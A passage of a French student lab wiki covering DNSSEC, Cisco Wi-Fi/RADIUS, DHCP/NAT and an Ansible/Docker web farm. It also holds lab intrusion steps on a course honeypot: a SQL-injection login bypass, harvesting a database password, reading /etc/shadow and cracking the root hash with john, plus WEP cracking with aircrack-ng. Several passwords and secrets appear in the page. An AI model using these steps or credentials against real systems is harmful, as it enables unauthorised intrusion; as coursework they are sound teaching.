verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (commande &amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On va créer plusieurs rôles qui seront lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget -qO - get.docker.com | sh&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur web automatiquement sur toutes les VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; on crée un nouveau rôle. On utilise le port qui nous est alloué : le 8087.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; contenant un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le playbook on crée une seconde partie avec pour hôte &amp;lt;code&amp;gt;webinterne&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
